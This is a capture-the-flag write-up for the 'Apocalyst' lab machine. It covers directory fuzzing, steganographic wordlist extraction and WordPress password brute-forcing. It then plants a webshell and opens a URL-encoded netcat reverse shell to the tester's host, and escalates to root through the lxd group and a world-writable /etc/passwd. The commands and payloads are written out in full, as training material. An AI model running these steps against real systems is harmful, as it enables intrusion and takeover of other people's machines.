Apocalyst
Machine Details
Resolution Summary
- Create custom dictionary using cewl.
- Find hidden directory with image.
- Extract information from image.
- Bruteforce Wordpress password.
- Decode base64 password of user.
- Abuse lxc group membership.
Used tools
- nmap
- cewl
- stegseek
- lxc
- ffuf
Information Gathering
Scanned all TCP ports:
❯ sudo nmap -p- -sS -Pn -n -T4 --open -oG ports 10.129.8.177
PORT STATE SERVICE
22/tcp open ssh
80/tcp open httpEnumerated open TCP ports:
❯ sudo nmap -p22,80 -sCV -Pn -n -T4 -oN nmap 10.129.8.177
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 fd:ab:0f:c9:22:d5:f4:8f:7a:0a:29:11:b4:04:da:c9 (RSA)
| 256 76:92:39:0a:57:bd:f0:03:26:78:c7:db:1a:66:a5:bc (ECDSA)
|_ 256 12:12:cf:f1:7f:be:43:1f:d5:e6:6d:90:84:25:c8:bd (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Apocalypse Preparation Blog
|_http-generator: WordPress 4.8
|_http-server-header: Apache/2.4.18 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelEnumeration
Port 80 - HTTP (Apache httpd 2.4.18)
Inside the web service we have a blog talking about how to prepare for the apocalypse. We can quickly check that it is made with Wordpress.

By enumerating the posts we find out the user falaraki.

Nothing useful is found by just looking at the page, we proceed to fuzz with the objective of finding hidden directories.
While fuzzing we find out that a lot of directories reply with 14 words of content, which seems pretty strange.
❯ ffuf -c -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u "http://apocalyst.htb/FUZZ" -e /,.html,.txt,.php -o ffuf_root.txt
[...]
blog [Status: 301, Size: 313, Words: 20, Lines: 10, Duration: 39ms]
blog/ [Status: 200, Size: 157, Words: 14, Lines: 14, Duration: 43ms]
events [Status: 301, Size: 315, Words: 20, Lines: 10, Duration: 41ms]
events/ [Status: 200, Size: 157, Words: 14, Lines: 14, Duration: 43ms]
main [Status: 301, Size: 313, Words: 20, Lines: 10, Duration: 41ms]
main/ [Status: 200, Size: 157, Words: 14, Lines: 14, Duration: 43ms]
icons/ [Status: 403, Size: 294, Words: 22, Lines: 12, Duration: 45ms]
info [Status: 301, Size: 313, Words: 20, Lines: 10, Duration: 41ms]
info/ [Status: 200, Size: 157, Words: 14, Lines: 14, Duration: 49ms]
.php [Status: 403, Size: 292, Words: 22, Lines: 12, Duration: 3672ms]
[Status: 200, Size: 61597, Words: 4341, Lines: 398, Duration: 3673ms]
page [Status: 301, Size: 313, Words: 20, Lines: 10, Duration: 42ms]
page/ [Status: 200, Size: 157, Words: 14, Lines: 14, Duration: 43ms]
site [Status: 301, Size: 313, Words: 20, Lines: 10, Duration: 41ms]
site/ [Status: 200, Size: 157, Words: 14, Lines: 14, Duration: 43ms]
header [Status: 301, Size: 315, Words: 20, Lines: 10, Duration: 42ms]
header/ [Status: 200, Size: 157, Words: 14, Lines: 14, Duration: 46ms]
.html [Status: 403, Size: 293, Words: 22, Lines: 12, Duration: 4548ms]
/ [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 4576ms]
wp-content [Status: 301, Size: 319, Words: 20, Lines: 10, Duration: 41ms]
wp-content/ [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 47ms]
post [Status: 301, Size: 313, Words: 20, Lines: 10, Duration: 41ms]
post/ [Status: 200, Size: 157, Words: 14, Lines: 14, Duration: 42ms]
text [Status: 301, Size: 313, Words: 20, Lines: 10, Duration: 42ms]
text/ [Status: 200, Size: 157, Words: 14, Lines: 14, Duration: 46ms]
book [Status: 301, Size: 313, Words: 20, Lines: 10, Duration: 42ms]
book/ [Status: 200, Size: 157, Words: 14, Lines: 14, Duration: 43ms]
[...]With manual enumeration of any directory, we find that the service replies with an strange image.

Nothing seems to be hidden inside that image, as we found some strange paths, they seem to be hiding something, so we will download the content of the blog to a wordlist to check if any word from the blog actually returns something useful.
To download the website as a wordlist we will use the command cewl.
❯ cewl http://apocalyst.htb -d 2 -w cewl.txt
CeWL 6.2.1 (More Fixes) Robin Wood (robin@digi.ninja) (https://digi.ninja/)
❯ wc -l cewl.txt
533 cewl.txt
❯ head cewl.txt
the
and
Apocalypse
Revelation
that
Preparation
Blog
end
Book
DanielOnce it is finished we will launch another fuzzing using this new wordlist, and filtering out the “trash” results that have 14 and 20 words.
❯ ffuf -c -w cewl.txt -u "http://apocalyst.htb/FUZZ" -e /,.html,.txt,.php -o ffuf_root.txt -fw 20,14
[...]
Rightiousness/ [Status: 200, Size: 175, Words: 18, Lines: 15, Duration: 40ms]By doing this we find a directory called Rightiousness, which seems to have the same image as before, we will download it again and analyze it to find hidden data.
When doing this we will get another wordlist.
❯ wget http://apocalyst.htb/Rightiousness/image.jpg
--2026-03-14 16:22:46-- http://apocalyst.htb/Rightiousness/image.jpg
Resolving apocalyst.htb (apocalyst.htb)... 10.129.8.177
Connecting to apocalyst.htb (apocalyst.htb)|10.129.8.177|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 215541 (210K) [image/jpeg]
Saving to: ‘image.jpg’
image.jpg 100%[==================================================================================================>] 210,49K 1,24MB/s in 0,2s
2026-03-14 16:22:46 (1,24 MB/s) - ‘image.jpg’ saved [215541/215541]
❯ stegseek --crack image.jpg /usr/share/wordlists/rockyou.txt
StegSeek 0.6 - https://github.com/RickdeJager/StegSeek
[i] Found passphrase: ""
[i] Original filename: "list.txt".
[i] Extracting to "image.jpg.out".
❯ wc -l image.jpg.out
486 image.jpg.out
❯ head image.jpg.out
World
song
from
disambiguation
Wikipedia
album
page
this
world
EditExploitation
Wordpress Bruteforce and RCE
In this case we will use this wordlist to bruteforce the password of the falaraki user. In my case I will use hydra, but it’s important to note that you can also use wpscan to do the brute-forcing, both commands will be shown here. Note that I renamed image.jpg.out to list.txt.
First of all, I’ll do the bruteforce with Hydra.
❯ hydra -I -l falaraki -P list.txt apocalyst.htb http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In&testcookie=1:S=302"
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-03-14 16:27:43
[DATA] max 16 tasks per 1 server, overall 16 tasks, 486 login tries (l:1/p:486), ~31 tries per task
[DATA] attacking http-post-form://apocalyst.htb:80/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In&testcookie=1:S=302
[80][http-post-form] host: apocalyst.htb login: falaraki password: TransclisiationSecondly, I’ll use wpscan.
❯ wpscan --url "http://apocalyst.htb/" -U falaraki -P list.txt
[...]
[+] Performing password attack on Wp Login against 1 user/s
[SUCCESS] - falaraki / Transclisiation
Trying falaraki / total Time: 00:00:08 <============================================ > (335 / 821) 40.80% ETA: ??:??:??
[!] Valid Combinations Found:
| Username: falaraki, Password: TransclisiationNow that we have the password for the administrator user of Wordpress, we can login and get a reverse-shell running.

To get a reverse shell in Wordpress we can edit the current theme and include the PHP code to run system commands. We will go to Appareance -> Editor, then we select a file common in many sites like header.php, and add our webshell code inside any PHP tag found there. Finally we click Update File to confirm the changes.

Now we can interact with the shell at any point with a simple GET request.
❯ curl -s "http://apocalyst.htb/?cmd=id" | head -1
uid=33(www-data) gid=33(www-data) groups=33(www-data)We launch a reverse shell encoded with URL Encoding, the method I found that worked was nc mkfifo.
❯ curl -s "http://apocalyst.htb/?cmd=rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fbash%20-i%202%3E%261%7Cnc%2010.10.14.234%203000%20%3E%2Ftmp%2Ff" | head -1❯ nc -nlvp 3000
Listening on 0.0.0.0 3000
Connection received on 10.129.8.177 59122
bash: cannot set terminal process group (1595): Inappropriate ioctl for device
bash: no job control in this shell
www-data@apocalyst:/var/www/html/apocalyst.htb$Lateral Movement to falaraki
Local Enumeration
After enumerating the system we find the file .secret inside /home/falaraki. This file contains a Base64 string.
www-data@apocalyst:/home/falaraki$ ls -la
total 44
drwxr-xr-x 4 falaraki falaraki 4096 Dec 24 2017 .
drwxr-xr-x 3 root root 4096 Jul 26 2017 ..
-rw------- 1 falaraki falaraki 1 Dec 24 2017 .bash_history
-rw-r--r-- 1 falaraki falaraki 220 Jul 26 2017 .bash_logout
-rw-r--r-- 1 falaraki falaraki 3771 Jul 26 2017 .bashrc
drwx------ 2 falaraki falaraki 4096 Jul 26 2017 .cache
drwxrwxr-x 2 falaraki falaraki 4096 Jul 26 2017 .nano
-rw-r--r-- 1 falaraki falaraki 655 Jul 26 2017 .profile
-rw-rw-r-- 1 falaraki falaraki 109 Jul 26 2017 .secret
-rw-r--r-- 1 falaraki falaraki 0 Jul 26 2017 .sudo_as_admin_successful
-rw-r--r-- 1 root root 1024 Jul 27 2017 .wp-config.php.swp
-r--r--r-- 1 falaraki falaraki 33 Mar 14 14:49 user.txt
www-data@apocalyst:/home/falaraki$ cat .secret
S2VlcCBmb3JnZXR0aW5nIHBhc3N3b3JkIHNvIHRoaXMgd2lsbCBrZWVwIGl0IHNhZmUhDQpZMHVBSU50RzM3VGlOZ1RIIXNVemVyc1A0c3M=After decoding the string we find the password for falaraki system user.
❯ echo -n "S2VlcCBmb3JnZXR0aW5nIHBhc3N3b3JkIHNvIHRoaXMgd2lsbCBrZWVwIGl0IHNhZmUhDQpZMHVBSU50RzM3VGlOZ1RIIXNVemVyc1A0c3M=" | base64 -d; echo
Keep forgetting password so this will keep it safe!
Y0uAINtG37TiNgTH!sUzersP4ssPrivilege Escalation vector
Now we can login as this user.
❯ ssh falaraki@apocalyst.htb
falaraki@apocalyst.htb's password:
[...]
falaraki@apocalyst:~$ id
uid=1000(falaraki) gid=1000(falaraki) groups=1000(falaraki),4(adm),24(cdrom),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare)Privilege Escalation to root (method 1)
Local Enumeration
For the first method, the one that I used when I was trying to escalate privileges, we have to take a look at the output from the id command.
falaraki@apocalyst:~$ id
uid=1000(falaraki) gid=1000(falaraki) groups=1000(falaraki),4(adm),24(cdrom),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare)We can see that we are members of the lxd group, this allows us to create containers. We will abuse this by creating a container and mounting /, then we can login as root inside the container to view all the content in the real filesystem.
Privilege Escalation vector
All the commands are explained at the following resource: https://j4ckie0x17.gitbook.io/notes-pentesting/escalada-de-privilegios/linux/abusando-grupo-lxd-lxc.
As explained, we will run a container and mount the root of the filesystem inside it. First of all we need the container image, we will download and create the image file from our machine, then we will upload the file and run it in the remote server.
❯ wget https://raw.githubusercontent.com/saghul/lxd-alpine-builder/master/build-alpine
--2026-03-14 17:00:37-- https://raw.githubusercontent.com/saghul/lxd-alpine-builder/master/build-alpine
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.108.133, 185.199.109.133, 185.199.110.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.108.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 8064 (7,9K) [text/plain]
Saving to: ‘build-alpine’
build-alpine 100%[==================================================================================================>] 7,88K --.-KB/s in 0s
2026-03-14 17:00:38 (84,5 MB/s) - ‘build-alpine’ saved [8064/8064]
❯ sudo bash build-alpine
[sudo] password for oriol:
Determining the latest release... v3.23
[...]
(26/27) Installing musl-utils (1.2.5-r21)
(27/27) Installing alpine-base (3.23.3-r0)
Executing busybox-1.37.0-r30.trigger
OK: 9900 KiB in 27 packages
❯ ls -l alpine-v3.23-x86_64-20260314_1700.tar.gz
.rw-r--r-- root root 3.9 MB Sat Mar 14 17:00:49 2026 alpine-v3.23-x86_64-20260314_1700.tar.gzNow we should have the alpine image file in our system, we transfer it to the victim.
falaraki@apocalyst:~$ wget http://10.10.14.234:8080/alpine-v3.23-x86_64-20260314_1700.tar.gz
--2026-03-14 16:02:12-- http://10.10.14.234:8080/alpine-v3.23-x86_64-20260314_1700.tar.gz
Connecting to 10.10.14.234:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 4061947 (3.9M) [application/gzip]
Saving to: 'alpine-v3.23-x86_64-20260314_1700.tar.gz'
alpine-v3.23-x86_64-20260314_1700.tar.gz 100%[==================================================================================================>] 3.87M 5.84MB/s in 0.7s
2026-03-14 16:02:13 (5.84 MB/s) - 'alpine-v3.23-x86_64-20260314_1700.tar.gz' saved [4061947/4061947]
falaraki@apocalyst:~$ ls -la alpine-v3.23-x86_64-20260314_1700.tar.gz
-rw-rw-r-- 1 falaraki falaraki 4061947 Mar 14 16:00 alpine-v3.23-x86_64-20260314_1700.tar.gzFinally we run and enter the container following these commands, where the root of the filesystem will be mounted inside /mnt/root of the container.
falaraki@apocalyst:~$ lxc image import alpine-v3.23-x86_64-20260314_1700.tar.gz --alias alpine
Image imported with fingerprint: b73093342567e2f49fd3065e179f0994f80b72c1d517f37e7c6e698e852b5b12
falaraki@apocalyst:~$ lxc init alpine privesc -c security.privileged=true
Creating privesc
falaraki@apocalyst:~$ lxc config device add privesc giveMeRoot disk source=/ path=/mnt/root recursive=true
Device giveMeRoot added to privesc
falaraki@apocalyst:~$ lxc start privesc
falaraki@apocalyst:~$ lxc exec privesc sh
~ # id
uid=0(root) gid=0(root)
~ # ls -la /mnt/root/root/root.txt
-r-------- 1 root root 33 Mar 14 14:49 /mnt/root/root/root.txt
~ # cat /mnt/root/root/root.txt
e8a7795abd616464f753f26bd2076411Privilege Escalation to root (method 2)
Local Enumeration
For the second method of escalation, we continue enumerating the system to find that the file /etc/passwd is world writeable.
falaraki@apocalyst:~$ ls -la /etc/passwd
-rw-rw-rw- 1 root root 1637 Jul 26 2017 /etc/passwdPrivilege Escalation vector
We can abuse this to create a second root user that doesn’t require a password. To do this we will add the following line, which creates a user called root2, with the password helo, and using the uid 0, which is the same as root.
First we will need the hash for the password, we can generate it using mkpasswd at our own machine.
❯ mkpasswd -m sha-512 helo
$6$bK49GUJpQo1I/2jR$9Uvu1ZhFFs7gY4XDV17eYanBjVHdoCNgsTteuE/8CS6jV8/qSoipT7EuMVezZhU1wMySDRGOQW/aln0rMoDSq/Now we add the following line to /etc/passwd
root2::0:0:root:/root:/bin/bashAnd login as root2.
falaraki@apocalyst:~$ tail -1 /etc/passwd
root2:$6$bK49GUJpQo1I/2jR$9Uvu1ZhFFs7gY4XDV17eYanBjVHdoCNgsTteuE/8CS6jV8/qSoipT7EuMVezZhU1wMySDRGOQW/aln0rMoDSq/:0:0:root:/root:/bin/bash
falaraki@apocalyst:~$ su root2
Password:
root@apocalyst:/home/falaraki# id
uid=0(root) gid=0(root) groups=0(root)Trophy
/home/falaraki/user.txt
53ee516470c019de6320f2e8a00f148a
/mnt/root/root/root.txt
e8a7795abd616464f753f26bd2076411